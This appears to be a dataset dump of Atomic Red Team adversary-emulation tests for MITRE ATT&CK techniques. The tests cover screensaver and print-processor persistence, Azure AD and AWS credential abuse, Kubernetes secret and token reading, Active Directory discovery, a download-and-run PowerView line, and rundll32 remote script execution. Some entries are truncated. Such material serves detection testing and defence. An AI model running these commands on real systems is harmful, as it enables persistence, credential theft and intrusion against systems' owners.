deardaniel/secdata-raw huggingface dataset:
# T1546.002 - Event Triggered Execution: Screensaver

## Description from ATT&CK

> Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in <code>C:\Windows\System32\</code>, and <code>C:\Windows\sysWOW64\</code>  on 64-bit Windows systems, along with screensavers included with base Windows installations.
> 
> The following screensaver settings are stored in the Registry (<code>HKCU\Control Panel\Desktop\</code>) and could be manipulated to achieve persistence:
> 
> * <code>SCRNSAVE.exe</code> - set to malicious PE path
> * <code>ScreenSaveActive</code> - set to '1' to enable the screensaver
> * <code>ScreenSaverIsSecure</code> - set to '0' to not require a password to unlock
> * <code>ScreenSaveTimeout</code> - sets user inactivity timeout before screensaver is executed
> 
> Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)

[Source](https://attack.mitre.org/techniques/T1546/002)

## Atomic Tests

- [Atomic Test #1: Set Arbitrary Binary as Screensaver](#atomic-test-1-set-arbitrary-binary-as-screensaver)

### Atomic Test #1: Set Arbitrary Binary as Screensaver

This test copies a binary into the Windows System32 folder and sets it as the screensaver so it will execute for persistence. Requires a reboot and logon.

**Supported Platforms:** Windows

**auto_generated_guid:** `281201e7-de41-4dc9-b73d-f288938cbb64`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| input_binary | Executable binary to use in place of screensaver for persistence | path | C:&#92;Windows&#92;System32&#92;cmd.exe|
| reboot | Set to non-zero value if you want the test to reboot the system so that changes take effect | integer | 0|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
reg export "HKEY_CURRENT_USER\Control Panel\Desktop" %userprofile%\backup.reg
copy #{input_binary} "%SystemRoot%\System32\evilscreensaver.scr"
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f
if #{reboot} NEQ 0 shutdown /r /t 0
```

#### Cleanup Commands

```cmd
reg import %userprofile%\backup.reg
del %userprofile%\backup.reg
del %SystemRoot%\System32\evilscreensaver.scr
```
Atomic Red Team — T1098.001: Account Manipulation: Additional Cloud Credentials
Test: Azure AD Application Hijacking - Service Principal
Platforms: azure-ad
Executor: powershell

Description:
Add a certificate to an Application through its Service Principal. The certificate can then be used to authenticate as the application.
This can be used for persistence, and also for privilege escalation by benefiting from the Application's rights.
An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.


Command:
Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential > $null

$sp = Get-AzureADServicePrincipal -SearchString "#{service_principal_name}" | Select-Object -First 1
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }

# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long
$credNotAfter = (Get-Date).AddDays(1)
$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be late

Cleanup:
Import-Module -Name AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential -ErrorAction Ignore > $nu

Dependencies:
AzureAD module must be installed.
Atomic Red Team — T1098.001: Account Manipulation: Additional Cloud Credentials
Test: Azure AD Application Hijacking - App Registration
Platforms: azure-ad
Executor: powershell

Description:
Add a certificate to an Application through its App Registration. The certificate can then be used to authenticate as the application.
This can be used for persistence, and also for privilege escalation by benefiting from the Application's rights.
An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.


Command:
Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential > $null

$app = Get-AzureADApplication -SearchString "#{application_name}" | Select-Object -First 1
if ($app -eq $null) { Write-Warning "Application not found"; exit }

# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long
$credNotAfter = (Get-Date).AddDays(1)
$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred exp

Cleanup:
Import-Module -Name AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential -ErrorAction Ignore > $nu

Dependencies:
AzureAD module must be installed.
Atomic Red Team — T1098.001: Account Manipulation: Additional Cloud Credentials
Test: AWS - Create Access Key and Secret Key
Platforms: iaas:aws
Executor: sh

Description:
Adversaries create their own new access and secret keys to programatically interact with AWS environment, which is already compromised


Command:
aws iam create-access-key --user-name #{username} > "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds"
cd "$PathToAtomicsFolder/T1098.001/bin/"
./aws_secret.sh


Cleanup:
access_key=`cat "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds" | jq -r '.AccessKey.AccessKeyId'`
aws iam delete-access-key --access-key-id $access_key --user-name #{username}
rm "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds"


Dependencies:
Check if the user exists.
Atomic Red Team — T1547.012: Boot or Logon Autostart Execution: Print Processors
Test: Print Processors
Platforms: windows
Executor: powershell

Description:
Establishes persistence by creating a new print processor registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors.
The new print processor will point to a DLL which will be loaded by the spooler service after a reboot. The DLL will then create the file AtomicTest.txt in C:\Users\Public\ as validation that the test is successful.

Note: The test assumes a x64 Windows operating system.

The payload source code is based on a blog post by stmxcsr: [https://stmxcsr.com/persistence/print-processor.html](https://stmxcsr.com/persistence/print-processor.html)


Command:
if( $(get-service -Name spooler).StartType -eq "Disabled") {Set-Service -Name "spooler" -StartupType Automatic}
net stop spooler
Copy-Item "$PathToAtomicsFolder\T1547.012\bin\AtomicTest.dll" C:\Windows\System32\spool\prtprocs\x64\AtomicTest.dll
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam" /v "Driver" /d "AtomicTest.dll" /t REG_SZ /f
net start spooler
if(#{restart}){
  Restart-Computer
}


Cleanup:
net stop spooler
rm -force C:\Windows\System32\spool\prtprocs\x64\AtomicTest.dll -ErrorAction SilentlyContinue
rm -force C:\Users\Public\AtomicTest.txt -ErrorAction SilentlyContinue
remove-item "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam" -Fo
Atomic Red Team — T1552.007: Kubernetes List Secrets
Test: List All Secrets
Platforms: containers
Executor: bash

Description:
A Kubernetes secret is an object that lets users store and manage sensitive information, such as passwords and connection strings in the cluster. Secrets can be consumed by reference in the pod configuration. Attackers who have permissions to retrieve the secrets from the API server (by using the pod service account, for example) can access sensitive information that might include credentials to various services or provide further access to the cluster.
[More information about secrets](https://kubernetes.io/docs/concepts/configuration/secret/).

This test will make a request to the Kubernetes api at the `/api/v1/secrets` endpoint requesting every secret stored within the cluster.


Command:
kubectl get secrets --all-namespaces


Dependencies:
kubectl must be installed
Atomic Red Team — T1552.007: Kubernetes List Secrets
Test: ListSecrets
Platforms: containers
Executor: bash

Description:
A Kubernetes secret is an object that lets users store and manage sensitive information, such as passwords and connection strings in the cluster. Secrets can be consumed by reference in the pod configuration. Attackers who have permissions to retrieve the secrets from the API server (by using the pod service account, for example) can access sensitive information that might include credentials to various services.


Command:
kubectl get secrets -n #{namespace}


Dependencies:
kubectl must be installed
Atomic Red Team — T1552.007: Kubernetes List Secrets
Test: Cat the contents of a Kubernetes service account token file
Platforms: linux
Executor: sh

Description:
Access the Kubernetes service account access token stored within a container in a cluster.


Command:
kubectl --context kind-atomic-cluster exec atomic-pod -- cat /run/secrets/kubernetes.io/serviceaccount/token


Cleanup:
kubectl --context kind-atomic-cluster delete pod atomic-pod


Dependencies:
Verify docker is installed.
Verify docker service is running.
Verify kind is in the path.
Atomic Red Team — T1505.002: Server Software Component: Transport Agent
Test: Install MS Exchange Transport Agent Persistence
Platforms: windows
Executor: powershell

Description:
Install a Microsoft Exchange Transport Agent for persistence. This requires execution from an Exchange Client Access Server and the creation of a DLL with specific exports. Seen in use by Turla.
More details- https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help


Command:
Install-TransportAgent -Name #{transport_agent_identity} -TransportAgentFactory #{class_factory} -AssemblyPath #{dll_path}
Enable-TransportAgent #{transport_agent_identity}
Get-TransportAgent | Format-List Name,Enabled


Cleanup:
if(Get-Command "Get-TransportAgent" -ErrorAction Ignore){
  Disable-TransportAgent #{transport_agent_identity}
  Uninstall-TransportAgent #{transport_agent_identity}
  Get-TransportAgent
}


Dependencies:
Microsoft Exchange SnapIn must be installed
Atomic Red Team — T1018: Remote System Discovery
Test: Remote System Discovery - net
Platforms: windows
Executor: command_prompt

Description:
Identify remote systems with net.exe.

Upon successful execution, cmd.exe will execute `net.exe view` and display results of local systems on the network that have file and print sharing enabled.


Command:
net view /domain
net view
Atomic Red Team — T1018: Remote System Discovery
Test: Remote System Discovery - net group Domain Computers
Platforms: windows
Executor: command_prompt

Description:
Identify remote systems with net.exe querying the Active Directory Domain Computers group.

Upon successful execution, cmd.exe will execute cmd.exe against Active Directory to list the "Domain Computers" group. Output will be via stdout.


Command:
net group "Domain Computers" /domain
Atomic Red Team — T1018: Remote System Discovery
Test: Remote System Discovery - nltest
Platforms: windows
Executor: command_prompt

Description:
Identify domain controllers for specified domain.

Upon successful execution, cmd.exe will execute nltest.exe against a target domain to retrieve a list of domain controllers. Output will be via stdout.


Command:
nltest.exe /dclist:#{target_domain}
Atomic Red Team — T1018: Remote System Discovery
Test: Remote System Discovery - ping sweep
Platforms: windows
Executor: command_prompt

Description:
Identify remote systems via ping sweep.

Upon successful execution, cmd.exe will perform a for loop against the 192.168.1.1/24 network. Output will be via stdout.


Command:
for /l %i in (#{start_host},1,#{stop_host}) do ping -n 1 -w 100 #{subnet}.%i
Atomic Red Team — T1018: Remote System Discovery
Test: Remote System Discovery - arp
Platforms: windows
Executor: command_prompt

Description:
Identify remote systems via arp. 

Upon successful execution, cmd.exe will execute arp to list out the arp cache. Output will be via stdout.


Command:
arp -a
Atomic Red Team — T1018: Remote System Discovery
Test: Remote System Discovery - arp nix
Platforms: linux, macos
Executor: sh

Description:
Identify remote systems via arp.

Upon successful execution, sh will execute arp to list out the arp cache. Output will be via stdout.


Command:
arp -a | grep -v '^?'


Dependencies:
Check if arp command exists on the machine
Atomic Red Team — T1018: Remote System Discovery
Test: Remote System Discovery - sweep
Platforms: linux, macos
Executor: sh

Description:
Identify remote systems via ping sweep.

Upon successful execution, sh will perform a ping sweep on the 192.168.1.1/24 and echo via stdout if an IP is active.


Command:
for ip in $(seq #{start_host} #{stop_host}); do ping -c 1 #{subnet}.$ip; [ $? -eq 0 ] && echo "#{subnet}.$ip UP" || : ; done
Atomic Red Team — T1018: Remote System Discovery
Test: Remote System Discovery - nslookup
Platforms: windows
Executor: powershell

Description:
Powershell script that runs nslookup on cmd.exe against the local /24 network of the first network adaptor listed in ipconfig.

Upon successful execution, powershell will identify the ip range (via ipconfig) and perform a for loop and execute nslookup against that IP range. Output will be via stdout.


Command:
$localip = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1]
$pieces = $localip.split(".")
$firstOctet = $pieces[0]
$secondOctet = $pieces[1]
$thirdOctet = $pieces[2]
foreach ($ip in 1..255 | % { "$firstOctet.$secondOctet.$thirdOctet.$_" } ) {cmd.exe /c nslookup $ip}
Atomic Red Team — T1018: Remote System Discovery
Test: Remote System Discovery - adidnsdump
Platforms: windows
Executor: command_prompt

Description:
This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks
Python 3 and adidnsdump must be installed, use the get_prereq_command's to meet the prerequisites for this test.
Successful execution of this test will list dns zones in the terminal.


Command:
"#{venv_path}\Scripts\adidnsdump" -u #{user_name} -p #{acct_pass} --print-zones #{host_name}


Dependencies:
Computer must have python 3 installed

Computer must have venv configured at #{venv_path}

adidnsdump must be installed
Atomic Red Team — T1018: Remote System Discovery
Test: Adfind - Enumerate Active Directory Computer Objects
Platforms: windows
Executor: command_prompt

Description:
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Computer Objects
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html


Command:
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=computer) #{optional_args}


Dependencies:
AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe)
Atomic Red Team — T1018: Remote System Discovery
Test: Adfind - Enumerate Active Directory Domain Controller Objects
Platforms: windows
Executor: command_prompt

Description:
Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Domain Controller Objects
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html


Command:
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -sc dclist


Dependencies:
AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe)
Atomic Red Team — T1018: Remote System Discovery
Test: Remote System Discovery - ip neighbour
Platforms: linux
Executor: sh

Description:
Use the ip neighbour command to display the known link layer (ARP table) addresses for hosts sharing the same network segment. 


Command:
ip neighbour show


Dependencies:
Check if ip command exists on the machine
Atomic Red Team — T1018: Remote System Discovery
Test: Remote System Discovery - ip route
Platforms: linux
Executor: sh

Description:
Use the ip route command to display the kernels routing tables. 


Command:
ip route show


Dependencies:
Check if ip command exists on the machine
Atomic Red Team — T1018: Remote System Discovery
Test: Remote System Discovery - netstat
Platforms: linux
Executor: sh

Description:
Use the netstat command to display the kernels routing tables.


Command:
netstat -r | grep default
Atomic Red Team — T1018: Remote System Discovery
Test: Remote System Discovery - ip tcp_metrics
Platforms: linux
Executor: sh

Description:
Use the ip tcp_metrics command to display the recent cached entries for IPv4 and IPv6 source and destination addresses. 


Command:
ip tcp_metrics show |grep --invert-match "^127\."


Dependencies:
Check if ip command exists on the machine
Atomic Red Team — T1018: Remote System Discovery
Test: Enumerate domain computers within Active Directory using DirectorySearcher
Platforms: windows
Executor: powershell

Description:
This test is a Powershell script that enumerates Active Directory to determine computers that are joined to the domain. 
This test is designed to mimic how SessionGopher can determine the additional systems within a domain, which has been used before by threat actors to aid in lateral movement. 
Reference: [Head Fake: Tackling Disruptive Ransomware Attacks](https://www.mandiant.com/resources/head-fake-tackling-disruptive-ransomware-attacks). 
Upon successful execution, this test will output the names of the computers that reside on the domain to the console window. 


Command:
$DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher("(ObjectCategory=Computer)")
$DirectorySearcher.PropertiesToLoad.Add("Name")
$Computers = $DirectorySearcher.findall()
foreach ($Computer in $Computers) {
  $Computer = $Computer.Properties.name
  if (!$Computer) { Continue }
  Write-Host $Computer}


Dependencies:
This PC must be joined to a domain.
Atomic Red Team — T1018: Remote System Discovery
Test: Enumerate Active Directory Computers with Get-AdComputer
Platforms: windows
Executor: powershell

Description:
The following Atomic test will utilize Get-AdComputer to enumerate Computers within Active Directory.
Upon successful execution a listing of Computers will output with their paths in AD.
Reference: https://github.com/MicrosoftDocs/windows-powershell-docs/blob/main/docset/winserver2022-ps/activedirectory/Get-ADComputer.md


Command:
Get-AdComputer -Filter *
Atomic Red Team — T1018: Remote System Discovery
Test: Enumerate Active Directory Computers with ADSISearcher
Platforms: windows
Executor: powershell

Description:
The following Atomic test will utilize ADSISearcher to enumerate computers within Active Directory.
Upon successful execution a listing of computers will output with their paths in AD.
Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/


Command:
([adsisearcher]"objectcategory=computer").FindAll(); ([adsisearcher]"objectcategory=computer").FindOne()
Atomic Red Team — T1018: Remote System Discovery
Test: Get-DomainController with PowerView
Platforms: windows
Executor: powershell

Description:
Utilizing PowerView, run Get-DomainController to identify the Domain Controller. Upon execution, information about the domain controller within the domain will be displayed.


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainController -verbose
Atomic Red Team — T1018: Remote System Discovery
Test: Get-WmiObject to Enumerate Domain Controllers
Platforms: windows
Executor: powershell

Description:
The following Atomic test will utilize get-wmiobject to enumerate Active Directory for Domain Controllers.
Upon successful execution a listing of Systems from AD will output with their paths.
Reference: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1


Command:
try { get-wmiobject -class ds_computer -namespace root\directory\ldap -ErrorAction Stop }
catch { $_; exit $_.Exception.HResult }
Atomic Red Team — T1018: Remote System Discovery
Test: Remote System Discovery - net group Domain Controller
Platforms: windows
Executor: command_prompt

Description:
Identify remote systems with net.exe querying the Active Directory Domain Controller.
Upon successful execution, cmd.exe will execute cmd.exe against Active Directory to list the "Domain Controller" in the domain. Output will be via stdout.


Command:
net group /domain "Domain controllers"
Atomic Red Team — T1018: Remote System Discovery
Test: Enumerate Remote Hosts with Netscan
Platforms: windows
Executor: powershell

Description:
This test uses Netscan to identify remote hosts in a specified network range.

Command:
cmd /c '#{netscan_path}' /hide /auto:"$env:temp\T1018NetscanOutput.txt" /range:'#{range_to_scan}'

Cleanup:
remove-item "$env:temp\T1018NetscanOutput.txt" -force -erroraction silentlycontinue


Dependencies:
Netscan must be installed
Atomic Red Team — T1218.011: Signed Binary Proxy Execution: Rundll32
Test: Rundll32 execute JavaScript Remote Payload With GetObject
Platforms: windows
Executor: command_prompt

Description:
Test execution of a remote script using rundll32.exe. Upon execution notepad.exe will be opened. 
This has been used by Win32/Poweliks malware and works as described [here](https://www.stormshield.com/news/poweliks-command-line-confusion/)

Note: The GetObject function is no longer supported in Internet Explorer v9 (2011) and later so this technique would only work where very old versions of IE are installed. 


Command:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();window.close();


Cleanup:
taskkill /IM notepad.exe /f
Atomic Red Team — T1218.011: Signed Binary Proxy Execution: Rundll32
Test: Rundll32 execute VBscript command
Platforms: windows
Executor: command_prompt

Description:
Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test.
Technique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/
Upon execution calc.exe will be launched


Command:
rundll32 vbscript:"\..\mshtml,RunHTMLApplication "+String(CreateObject("WScript.Shell").Run("#{command_to_execute}"),0)